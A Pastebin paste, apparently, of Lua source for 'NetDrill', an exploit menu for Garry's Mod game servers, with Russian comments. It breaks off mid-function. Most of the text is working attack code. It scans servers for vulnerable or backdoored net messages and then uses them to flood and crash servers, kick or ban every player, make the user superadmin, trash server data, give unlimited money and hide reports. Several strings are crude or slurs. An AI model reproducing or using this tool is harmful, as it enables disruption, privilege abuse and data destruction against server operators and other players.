Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- MsgC (Color(255, 255, 0), [[
- ______ _ _ _ _ _ _ _ ______
- / / / / | \ | | | | | | (_) | | | | \ \ \ \
- / / / / | \| | ___ | |_ __| | _ __ _ | | | | \ \ \ \
- < < < < | . ` | / _ \ | __| / _` | | '__| | | | | | | > > > >
- \ \ \ \ | |\ | | __/ | |_ | (_| | | | | | | | | | / / / /
- \_\_\_\ |_| \_| \___| \__| \__,_| |_| |_| |_| |_| /_/_/_/
- Exploit menu for Garry's Mod. | ПОЗДРАВЛЯЕМ, ТЫ ПОБЕДИЛ!
- ]])
- -- ПОЗДРАВЛЯЕМ,ПОБЕДИЛ ТЫ!
- local Netdrill = nil
- local RatesScaleLevel = LocalPlayer():SteamID()
- local NETDRILL = {}
- NETDRILL.memory = {}
- local grad = Material( "gui/gradient" )
- local upgrad = Material( "gui/gradient_up" )
- local downgrad = Material( "gui/gradient_down" )
- local ctext = chat.AddText
- local size = math.random(5)
- function print_size()print("Член USERNAMа равен "..size.." милиметров!");
- end
- -- ТЫ ПОБЕДИЛ,ПОЗДРАВЛЯЕМ
- surface.CreateFont( "netdrillfont20", {
- font = "Roboto",
- extended = false,
- size = 20,
- weight = 500,
- blursize = 0,
- scanlines = 0,
- antialias = true,
- })
- surface.CreateFont( "netdrillfontlight", {
- font = "Roboto",
- extended = false,
- size = 40,
- weight = 20,
- blursize = 0,
- scanlines = 0,
- antialias = true,
- })
- surface.CreateFont( "netdrillfonthard", {
- font = "Roboto",
- extended = false,
- size = 13,
- weight = 600,
- blursize = 0,
- scanlines = 0,
- antialias = true,
- })
- surface.CreateFont( "netdrillfontlogo", {
- font = "Arial",
- extended = false,
- size = 30,
- weight = 600,
- blursize = 0,
- scanlines = 0,
- antialias = true,
- })
- surface.CreateFont( "netdrillfonthello", {
- font = "Roboto",
- extended = false,
- size = 20,
- weight = 600,
- blursize = 0,
- scanlines = 0,
- antialias = true,
- })
- -- FONCTION DE BASE
- function NETDRILL.ChatText( str )
- ctext( Color(208, 114, 255), [[ NetDrill™ : ]]..str )
- end
- function NETDRILL.NetStart( str )
- local netstart = net.Start
- if Netdrill and Netdrill.G and Netdrill.G.net then
- netstart = Netdrill.G.net.Start
- else
- end
- return netstart( str )
- end
- function NETDRILL.ValidNetString( str )
- local netstart = net.Start
- if Netdrill and Netdrill.G and Netdrill.G.net then
- netstart = Netdrill.G.net.Start
- else
- end
- local status, error = pcall( netstart, str )
- return status
- end
- function NETDRILL.ValidNetString( str )
- local status, error = pcall( net.Start, str )
- return status
- end
- NETDRILL.sploits = {}
- local severitycols = {
- [1] = Color( 100, 100, 100 ),
- [2] = Color( 100, 100, 100 ),
- [3] = Color( 100, 100, 100 ),
- [4] = Color( 184, 109, 255 ),
- }
- function NETDRILL.AddExploit( name, tab )
- if !isstring( name ) then print("ùùù_ùùù") return end
- if !istable( tab ) then print("ùùù_ùùù") return end
- NETDRILL.sploits[name] = tab
- end
- function NETDRILL.IsStored( addr )
- return NETDRILL.memory[addr] != nil
- end
- function NETDRILL.GetStored( addr, fallback )
- if fallback and NETDRILL.memory[addr] == nil then return fallback end
- return NETDRILL.memory[addr]
- end
- function NETDRILL.Store( addr, val )
- NETDRILL.memory[addr] = val
- end
- function NETDRILL.GetAllStored()
- return NETDRILL.memory
- end
- function NETDRILL.GetAllStoredData()
- local ret = {}
- for k, v in pairs( NETDRILL.memory ) do
- if !istable( v ) then ret[k] = v end
- end
- return ret
- end
- function NETDRILL.LoadConfig()
- local f = file.Read( "Netdrill_exploit.dat", "DATA" )
- if !f then NETDRILL.ChatText( "ууууууу" ) end
- local raw = util.Decompress( f )
- local garbage = util.JSONToTable( raw )
- table.Merge( NETDRILL.memory, garbage )
- NETDRILL.Menu:Remove()
- NETDRILL.ChatText( "Загружаем файл конфигурации" )
- end
- function NETDRILL.SaveConfig()
- local myturds = util.TableToJSON( NETDRILL.GetAllStoredData() )
- if !myturds then return end
- local cumpressed = util.Compress( myturds )
- file.Write( "Netdrill_exploit.dat", cumpressed )
- NETDRILL.ChatText( "Сохраненный файл конфигурации" )
- end
- -- CREATION DES EXPLOITS
- NETDRILL.AddExploit( "Турбо Ошибки (DDoS)", {
- desc = "Заставьте rcon дристать ошибками как поносом!",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "steamid2" ) end,
- functions = {
- { typ = "func", name = "DDoS", func = function()
- if !timer.Exists( "Netdrill_exploit_errorzt" ) then
- NETDRILL.ChatText( "Даём ркону слабительное..." )
- timer.Create( "Netdrill_exploit_errorzt", 0.05, 0, function()
- for i = 1, 30 do
- NETDRILL.NetStart( "steamid2" )
- net.WriteString( "Something is creating very strong script errors" )
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "Netdrill_exploit_errorzt" )
- NETDRILL.ChatText( "Прекращаем лаги ;c." )
- end
- end, },
- },
- } )
- local netdrillhacknet = ""
- if NETDRILL.ValidNetString( "Sandbox_Armdupe" ) then
- netdrillhacknet = "Sandbox_Armdupe"
- else
- if NETDRILL.ValidNetString( "Fix_Keypads" ) then
- netdrillhacknet = "Fix_Keypads"
- else
- if NETDRILL.ValidNetString( "Remove_Exploiters" ) then
- netdrillhacknet = "Remove_Exploiters"
- else
- if NETDRILL.ValidNetString( "noclipcloakaesp_chat_text" ) then
- netdrillhacknet = "noclipcloakaesp_chat_text"
- else
- if NETDRILL.ValidNetString( "_Defqon" ) then
- netdrillhacknet = "_Defqon"
- else
- if NETDRILL.ValidNetString( "Pizda" ) then
- netdrillhacknet = "Pizda"
- else
- if NETDRILL.ValidNetString( "vodkapidr" ) then
- netdrillhacknet = "vodkapidr"
- else
- if NETDRILL.ValidNetString( "Limon" ) then
- netdrillhacknet = "Limon"
- else
- if NETDRILL.ValidNetString( "LemosxD" ) then
- netdrillhacknet = "LemosxD"
- else
- if NETDRILL.ValidNetString( "Sbox_itemstore" ) then
- netdrillhacknet = "Sbox_itemstore"
- else
- if NETDRILL.ValidNetString( "ITEM" ) then
- netdrillhacknet = "ITEM"
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- end
- NETDRILL.AddExploit( "Добро пожаловать в АД!", {
- desc = "Дамы и господа, я имею честь представить вам * барабанная дробь *, его величество БЕКДОР!",
- severity = 4,
- scan = function() return NETDRILL.ValidNetString( netdrillhacknet ) end,
- functions = {
- { typ = "func", name = "Выйти", func = function()
- NETDRILL.NetStart(netdrillhacknet)
- net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
- net.WriteBit(1)
- net.SendToServer()
- end, },
- { typ = "htxcommandeliste", name = "exe" },
- },
- } )
- NETDRILL.AddExploit( "Высверлить DATу сервера", {
- desc = "Удалите данные сервера! У сервер овнера 99.9% подгорит очко x)",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "WriteQuery" ) end,
- functions = {
- { typ = "func", name = "Начать", func = function()
- if !timer.Exists( "Netdrill_exploit_datatrasher" ) then
- NETDRILL.ChatText( "Запуск мессилова папки данных" )
- timer.Create( "Netdrill_exploit_datatrasher", 0.5, 0, function()
- NETDRILL.NetStart( "WriteQuery" )
- net.WriteString( "This is gay ->"..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) )
- net.SendToServer()
- end)
- else
- timer.Remove( "Netdrill_exploit_datatrasher" )
- NETDRILL.ChatText( "Остановка мессилова папки данных" )
- end
- end, },
- },
- } )
- -- Patch
- --[[NETDRILL.AddExploit( "Turbo Chat Spam", {
- desc = "Gros spam, extrêmement ennuyeux",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString( "VJSay" ) end,
- functions = {
- { typ = "string", name = "Entrer un message", default = "VaporhackMenu", addr = "vj_spamstring" },
- { typ = "string", name = "Entrer un son", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
- { typ = "func", name = "Big Spam", func = function()
- if !timer.Exists( "bigspamsvj" ) then
- NETDRILL.ChatText( "big spam lancé" )
- timer.Create( "bigspamsvj", 0.1, 0, function()
- for k, v in pairs( player.GetAll() ) do
- NETDRILL.NetStart( "VJSay" )
- net.WriteEntity( v )
- net.WriteString( NETDRILL.GetStored( "vj_spamstring", "ACHETER LE @Netdrill AJOUTEZ SUPREMACIST" ) )
- if NETDRILL.GetStored( "vj_spamsound", "" ) != "" then
- net.WriteString( NETDRILL.GetStored( "vj_spamsound", "" ) )
- end
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "bigspamsvj" )
- NETDRILL.ChatText( "big spam stoppé" )
- end
- end, },
- },
- } )--]]
- NETDRILL.AddExploit( "Инферно", {
- desc = "Устройте огненную пати!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "drugs_ignite" ) end,
- functions = {
- { typ = "func", name = "Поджечь пропы", func = function()
- NETDRILL.NetStart("drugs_ignite")
- net.WriteString("prop_physics")
- net.SendToServer()
- end, },
- { typ = "func", name = "Поджечь игроков", func = function()
- NETDRILL.NetStart("drugs_ignite")
- net.WriteString("player")
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Увеличить ХП", {
- desc = "Увеличьте жизни игроков",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "drugseffect_hpremove" ) end,
- functions = {
- { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100", addr = "montant_argent15" },
- { typ = "func", name = "Стандарт", func = function()
- NETDRILL.NetStart("drugseffect_hpremove")
- net.WriteString(NETDRILL.GetStored( "montant_argent15" ))
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Телепортация", {
- desc = "Телепортирует вас на спавн)",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end,
- functions = {
- { typ = "func", name = "Телепорт", func = function()
- NETDRILL.NetStart("DarkRP_Kun_ForceSpawn")
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Кикнуть всех 3", {
- desc = "DO YOU LIKE KICKING OTHER PEOPLE?",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "NLRKick" ) end,
- functions = {
- { typ = "players", addr = "l_players_listing515" },
- { typ = "func", name = "Кикнуть всех", func = function()
- local t = NETDRILL.GetStored( "l_players_listing515", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
- NETDRILL.NetStart("NLRKick")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Кикнуть всех 2", {
- desc = "Всем нужно личное пространство не так ли ;)",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "RecKickAFKer" ) end,
- functions = {
- { typ = "players", addr = "l_players_listing2545" },
- { typ = "func", name = "Кикнуть всех", func = function()
- local t = NETDRILL.GetStored( "l_players_listing2545", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
- NETDRILL.NetStart("RecKickAFKer")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS #2", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "CFRemoveGame" ) end,
- functions = {
- { typ = "func", name = "DDoS уровень 2", func = function()
- if !timer.Exists( "DDoS2" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "DDoS2", 0.05, 0, function()
- NETDRILL.NetStart( "CFRemoveGame" )
- net.WriteFloat( math.Round( "10000\n" ) )
- net.SendToServer()
- NETDRILL.NetStart( "CFJoinGame" )
- net.WriteFloat( math.Round( "10000\n" ) )
- net.SendToServer()
- NETDRILL.NetStart( "CFEndGame" )
- net.WriteFloat( "10000\n" )
- net.SendToServer()
- end)
- else
- timer.Remove( "DDoS2" )
- NETDRILL.ChatText( "Выключаем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS #4", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "rprotect_terminal_settings" ) end,
- functions = {
- { typ = "func", name = "DDoS уровень 4", func = function()
- if !timer.Exists( "DDoS4" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "DDoS4", 0.1, 0, function()
- for i = 1, 300 do
- NETDRILL.NetStart( "rprotect_terminal_settings" )
- net.WriteEntity( LocalPlayer() )
- net.SendToServer()
- end end)
- else
- timer.Remove( "DDoS4" )
- NETDRILL.ChatText( "Выключаем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS #6", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "pac_submit" ) end,
- functions = {
- { typ = "func", name = "DDoS уровень 6", func = function()
- if !timer.Exists( "DDoS6" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "DDoS6", 0.02, 0, function()
- for i=1, 1400 do
- NETDRILL.NetStart("pac_submit")
- net.SendToServer()
- end end)
- else
- timer.Remove( "DDoS6" )
- NETDRILL.ChatText( "Выключаем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS #8", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("join_disconnect") end,
- functions = {
- { typ = "func", name = "DDoS уровень 8", func = function()
- if !timer.Exists( "DDoS8" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "DDoS8", 0.02, 0, function()
- for i=1, 600 do
- NETDRILL.NetStart("join_disconnect")
- net.WriteEntity(table.Random(player.GetAll()))
- net.SendToServer()
- end end)
- else
- timer.Remove( "DDoS8" )
- NETDRILL.ChatText( "Выключаем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS #9", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("EZS_PlayerTag") end,
- functions = {
- { typ = "func", name = "DDoS уровень 9", func = function()
- if !timer.Exists( "DDoS9" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "DDoS9", 0.05, 0, function()
- for k, v in pairs(player.GetAll()) do
- NETDRILL.NetStart( "EZS_PlayerTag" )
- net.WriteEntity(v)
- net.WriteString("Something is creating very strong script errors")
- net.SendToServer()
- timer.Simple(2, function()
- NETDRILL.NetStart( "EZS_PlayerTag" )
- net.WriteEntity(v)
- net.WriteString("// DDoS Attack In Progress")
- net.SendToServer()
- end)
- end end)
- else
- timer.Remove( "DDoS9" )
- NETDRILL.ChatText( "Выключаем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS #10", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("DarkRP_spawnPocket") end,
- functions = {
- { typ = "func", name = "DDoS уровень 10", func = function()
- if !timer.Exists( "DDoS10" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "DDoS10", 0.02, 0, function()
- for i=1, 600 do
- NETDRILL.NetStart("DarkRP_spawnPocket")
- net.SendToServer()
- end end)
- else
- timer.Remove( "DDoS10" )
- NETDRILL.ChatText( "Выключаем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "DDoS #11", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("Taxi_Add") end,
- functions = {
- { typ = "func", name = "DDoS уровень 11", func = function()
- if !timer.Exists( "DDoS11" ) then
- NETDRILL.ChatText( "Начинаем DDoS" )
- timer.Create( "DDoS11", 0.05, 0, function()
- for i=1, 10 do
- local Pos = LocalPlayer():GetEyeTrace().HitPos
- NETDRILL.NetStart("Taxi_Add")
- net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
- net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
- net.WriteFloat(-9999999)
- net.WriteString("Взломано NetDrill :D")
- net.SendToServer()
- end end)
- else
- timer.Remove( "DDoS11" )
- NETDRILL.ChatText( "Выключаем DDoS" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Хакер кейпадов", {
- desc = "Хакает кейпады вокруг вас",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString('start_wd_emp') end,
- functions = {
- { typ = "func", name = "Автохак", func = function()
- if !timer.Exists( "Keyhack" ) then
- NETDRILL.ChatText( "Начинаем Автохак" )
- timer.Create( "Keyhack", 0.02, 0, function()
- for i=1, 40 do
- net.Start('start_wd_emp')
- net.SendToServer()
- end end)
- else
- timer.Remove( "Keyhack" )
- NETDRILL.ChatText( "Выключаем Хакера" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Авторазвязывание из наручников", {
- desc = "Вас невозможно остановить",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("Kun_ZiptieStruggle") end,
- functions = {
- { typ = "func", name = "Авторазвязывание", func = function()
- if !timer.Exists( "untie" ) then
- NETDRILL.ChatText( "Начинаем Фокус" )
- timer.Create( "untie", 0.1, 0, function()
- for i=1, 30 do
- NETDRILL.NetStart("Kun_ZiptieStruggle")
- net.SendToServer()
- end end)
- else
- timer.Remove( "untie" )
- NETDRILL.ChatText( "Выключаем Фокус" )
- end
- end, },
- },
- } )
- local title = "You have been reported! Please answer all your reports."
- local function CheckChild(pan)
- if !pan || !IsValid(pan) then return end
- if pan.GetTitle && pan:GetTitle() == title then
- pan:Remove();
- print("Убираем Репорт")
- return
- end
- for k,v in pairs(pan:GetChildren()) do
- if v.GetTitle && v:GetTitle() == title then
- v:Remove();
- print("Репорт убран")
- return
- end
- if #v:GetChildren() > 0 then
- CheckChild(v)
- end
- end
- end
- bypass = 0
- NETDRILL.AddExploit( "ТТТ антирепорт", {
- desc = "Выключает систему репортов",
- severity = 3,
- scan = function() return engine.ActiveGamemode() == "terrortown" end,
- functions = {
- { typ = "func", name = "Антирепорт", func = function()
- if (bypass == 0) then
- hook.Add("Think", "remove_ttt_report", function()
- local pan = vgui.GetHoveredPanel()
- CheckChild(pan)
- bypass = 1
- end)
- NETDRILL.ChatText( "Включаем TTT Bypass" )
- else
- hook.Remove("Think", "remove_ttt_report")
- bypass = 0
- NETDRILL.ChatText( "Выключаем TTT Bypass" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "СУПЕРАДМИН!", {
- desc = "Станьте господом богом ;)",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("pplay_deleterow") end,
- functions = {
- { typ = "func", name = "!<O>!", func = function()
- local id = LocalPlayer():SteamID()
- local tbl = {}
- tbl.name = "FAdmin_PlayerGroup"
- tbl.where = {
- "steamid",
- tostring(id)
- }
- NETDRILL.NetStart("pplay_deleterow")
- net.WriteTable(tbl)
- net.SendToServer()
- local tbl = {}
- tbl.tblname = "FAdmin_PlayerGroup"
- tbl.tblinfo = {
- tostring(id),
- "superadmin"
- }
- NETDRILL.NetStart("pplay_addrow")
- net.WriteTable(tbl)
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Краш сервера 1", {
- desc = "Вызывает лаги на сервере",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("Morpheus.StaffTracker" ) end,
- functions = {
- { typ = "func", name = "Крашните сервер", func = function()
- if !timer.Exists( "Supercrash" ) then
- NETDRILL.ChatText( "Начинаем Краш" )
- timer.Create( "Supercrash", 0.05, 0, function()
- for i=1, 400 do
- NETDRILL.NetStart("Morpheus.StaffTracker")
- net.SendToServer()
- end end)
- else
- timer.Remove( "Supercrash" )
- NETDRILL.ChatText( "Выключаем Краш" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Кикнуть всех админов", {
- desc = "ВРЕМЯ АНАРХИИ!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("GetCar") end,
- functions = {
- { typ = "func", name = "Кикнуть", func = function()
- if !timer.Exists( "GayKicker" ) then
- NETDRILL.ChatText( "Начинаем кикер" )
- timer.Create( "GayFriend", 0.05, 0, function()
- for k,v in ipairs(player.GetAll()) do
- if( v:GetUserGroup() != "user" ) then
- if v:Nick() != (LocalPlayer():Nick()) then
- for i=0, 30 do
- net.Start( "GetCar" )
- net.WriteEntity(v)
- net.WriteEntity(v)
- net.SendToServer()
- end end end end end)
- else
- timer.Remove( "GayKicker" )
- NETDRILL.ChatText( "Выключаем кикер" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Пасхальное яйцо", {
- desc = "Выдать пасхальное яйцо!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "egg" ) end,
- functions = {
- { typ = "func", name = "Яйцо", func = function()
- NETDRILL.NetStart("egg")
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Фальсифицировать иконку", {
- desc = "Подкрутите иконку чата у себя над головой ;3!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "TalkIconChat" ) end,
- functions = {
- { typ = "func", name = "Иконка", func = function()
- hook.Remove('StartChat', 'TalkIcon')
- NETDRILL.NetStart("TalkIconChat")
- net.WriteBool(true)
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Кикнуть всех", {
- desc = "Люди бывают мерзкими. Это решит данную проблему!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "DL_Answering" ) end,
- functions = {
- { typ = "func", name = "Кикнуть всех", func = function()
- if !timer.Exists( "kickallnoob" ) then
- NETDRILL.ChatText( "Начинаем приговор" )
- timer.Create( "kickallnoob", 0.1, 0, function()
- for i = 1, 2000 do
- NETDRILL.NetStart("DL_Answering")
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "kickallnoob" )
- NETDRILL.ChatText( "Выключаем кикер" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Взлом кейпадов 2", {
- desc = "Взломайте все кейпады на сервере.",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString( "start_wd_emp" ) end,
- functions = {
- { typ = "func", name = "Взломать", func = function()
- NETDRILL.NetStart("start_wd_emp")
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Кикнуть всех (админ)", {
- desc = "Метод кика для админов.",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "plyWarning" ) end,
- functions = {
- { typ = "players", addr = "l_players_listing255" },
- { typ = "func", name = "Kick", func = function()
- local t = NETDRILL.GetStored( "l_players_listing255", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
- NETDRILL.NetStart('plyWarning')
- net.WriteEntity(v)
- net.WriteString('You have to select a player before doing a action.')
- net.SendToServer()
- NETDRILL.ChatText("Кикаем этого несчастного... ".. v:Nick().. "!")
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "NLR Заморозка", {
- desc = "IF I COULD SAVE TIME IN A BOTTLE!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "NLR.ActionPlayer" ) end,
- functions = {
- { typ = "players", addr = "l_players_listing45" },
- { typ = "func", name = "Заморозка", func = function()
- local t = NETDRILL.GetStored( "l_players_listing45", {} )
- for k, v in pairs( player.GetAll() ) do
- if !table.HasValue( t, v ) and v == !LocalPlayer then continue end
- NETDRILL.NetStart("NLR.ActionPlayer")
- net.WriteEntity(v)
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Спам", {
- desc = "Обычный спам фигней, ничего необычного",
- severity = 2,
- scan = function() return NETDRILL.ValidNetString( "NET_BailPlayer" ) end,
- functions = {
- { typ = "func", name = "Спам", func = function()
- for k, v in pairs (player.GetAll()) do
- NETDRILL.NetStart("NET_BailPlayer")
- net.WriteEntity( v )
- net.WriteEntity( v )
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Поменять Модельку", {
- desc = "МОДНЫЙ ПРИГОВОР НАЧИНАЕТЬСЯ!",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString( "bodyman_model_change" ) end,
- functions = {
- { typ = "func", name = "Changer", func = function()
- PlayerModels = {0,1,2,3,4,5,6}
- Torso = {0,1,2,3,4,5,6,7,8,9,10}
- Legs = {0,1,2,3,4,5,6}
- Hands = {0,1,2}
- Glasses = {0,1}
- Skins = {0,1,2,3,4,5,6,7,8,9,10}
- PM = PM+1
- TS = TS+1
- LG = LG+1
- HN = HN+1
- GL = GL+1
- SK = SK+1
- if (PM>#PlayerModels) then PM=1 end
- if (SK>#Skins) then SK=1 end
- if (HN>#Hands) then HN=1 end
- if (TS>#Torso) then TS=1 end
- if (GL>#Glasses) then GL=1 end
- if (LG>#Legs) then LG=1 end
- NETDRILL.NetStart("bodyman_model_change")
- net.WriteInt(PlayerModels[PM], 10 )
- net.SendToServer()
- NETDRILL.NetStart("bodygroups_change")
- net.WriteTable( { 1, Torso[TS] } )
- net.SendToServer()
- NETDRILL.NetStart("bodygroups_change")
- net.WriteTable( { 2, Legs[LG] } )
- net.SendToServer()
- NETDRILL.NetStart("bodygroups_change")
- net.WriteTable( { 3, Hands[HN] } )
- net.SendToServer()
- NETDRILL.NetStart("bodygroups_change")
- net.WriteTable( { 4, Glasses[GL] } )
- net.SendToServer()
- end, },
- },
- } )
- NETDRILL.AddExploit( "Анти-Маники", {
- desc = "Причиняйте постоянный ущерб соседним принтерам",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString( "customprinter_get" ) end,
- functions = {
- { typ = "func", name = "Начать", func = function()
- if !timer.Exists( "Netdrill_exploit_printersmasher" ) then
- NETDRILL.ChatText( "Антипринтер включен" )
- timer.Create( "Netdrill_exploit_printersmasher", 0, 0, function()
- for k, v in pairs( ents.GetAll() ) do
- if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then
- NETDRILL.NetStart("customprinter_get")
- net.WriteEntity(v)
- net.WriteString("onoff")
- net.SendToServer()
- end
- end
- end)
- else
- timer.Remove( "Netdrill_exploit_printersmasher" )
- NETDRILL.ChatText( "Антипринтер выключен" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Бесплатные Патроны", {
- desc = "Дает вам боеприпасы для всего вашего оружия",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString( "TCBBuyAmmo" ) end,
- functions = {
- { typ = "func", name = "Патроны!", func = function()
- for k,v in pairs(GAMEMODE.AmmoTypes) do
- NETDRILL.NetStart("TCBBuyAmmo")
- net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
- net.SendToServer()
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Крашнуть сервер 4", {
- desc = "Крашните сервер нахуй.",
- severity = 1,
- scan = function() return NETDRILL.ValidNetString( "Keypad" ) end,
- functions = {
- { typ = "func", name = "Start", func = function()
- if !timer.Exists( "NETDRILLhacknetnet_exploit_lagsploit4" ) then
- NETDRILL.ChatText( "Начинаем краш" )
- timer.Create( "NETDRILLhacknetnet_exploit_lagsploit4", 0.02, 0, function()
- for i = 1, 1000 do
- NETDRILL.NetStart("Keypad")
- net.WriteEntity(LocalPlayer())
- net.SendToServer()
- end
- end)
- else
- timer.Remove( "NETDRILLhacknetnet_exploit_lagsploit4" )
- NETDRILL.ChatText( "Кончаем с крашем" )
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Забанить всех", {
- desc = "БАНХАММЕР ТАЙМ",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "gBan.BanBuffer" ) end,
- functions = {
- { typ = "func", name = "Забанить", func = function()
- for k,v in pairs(player.GetAll()) do
- if v != LocalPlayer() then
- NETDRILL.NetStart( "gBan.BanBuffer" )
- net.WriteBool( true )
- net.WriteInt( 0, 32 )
- net.WriteString( "VAC BANNED" )
- net.WriteString( v:SteamID() )
- net.SendToServer()
- end
- end
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "SendMoney" ) end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.NetStart( "SendMoney" )
- net.WriteEntity( LocalPlayer() )
- net.WriteString( "-100000000" )
- net.SendToServer()
- NETDRILL.ChatText( "Даём бабки" )
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 2!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString( "BailOut" ) end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.NetStart( "BailOut" )
- net.WriteFloat(-10000000)
- net.SendToServer()
- NETDRILL.ChatText( "Даём бабки" )
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 3!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("Taxi_Add") end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.NetStart("Taxi_Add")
- net.WriteString("MLG")
- net.WriteTable({-1333.647461, -1473.931763, -139.968750})
- net.WriteFloat(-99999999)
- net.WriteString(Desc)
- net.SendToServer()
- NETDRILL.ChatText( "Даём бабки" )
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 4!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString('NET_SS_DoBuyTakeoff') end,
- functions = {
- { typ = "func", name = "Шекели", func = function()
- NETDRILL.NetStart('NET_SS_DoBuyTakeoff')
- net.WriteEntity(LocalPlayer())
- net.WriteEntity(swag)
- net.WriteTable({'spawned_weapon'})
- net.WriteInt(-100000000, 16)
- net.SendToServer()
- NETDRILL.ChatText( "Даём бабки" )
- end, },
- },
- } )
- NETDRILL.AddExploit( "Шекели 5!", {
- desc = "Сделайте себя алигархом!",
- severity = 3,
- scan = function() return NETDRILL.ValidNetString("DaHit") end,
- functions = {
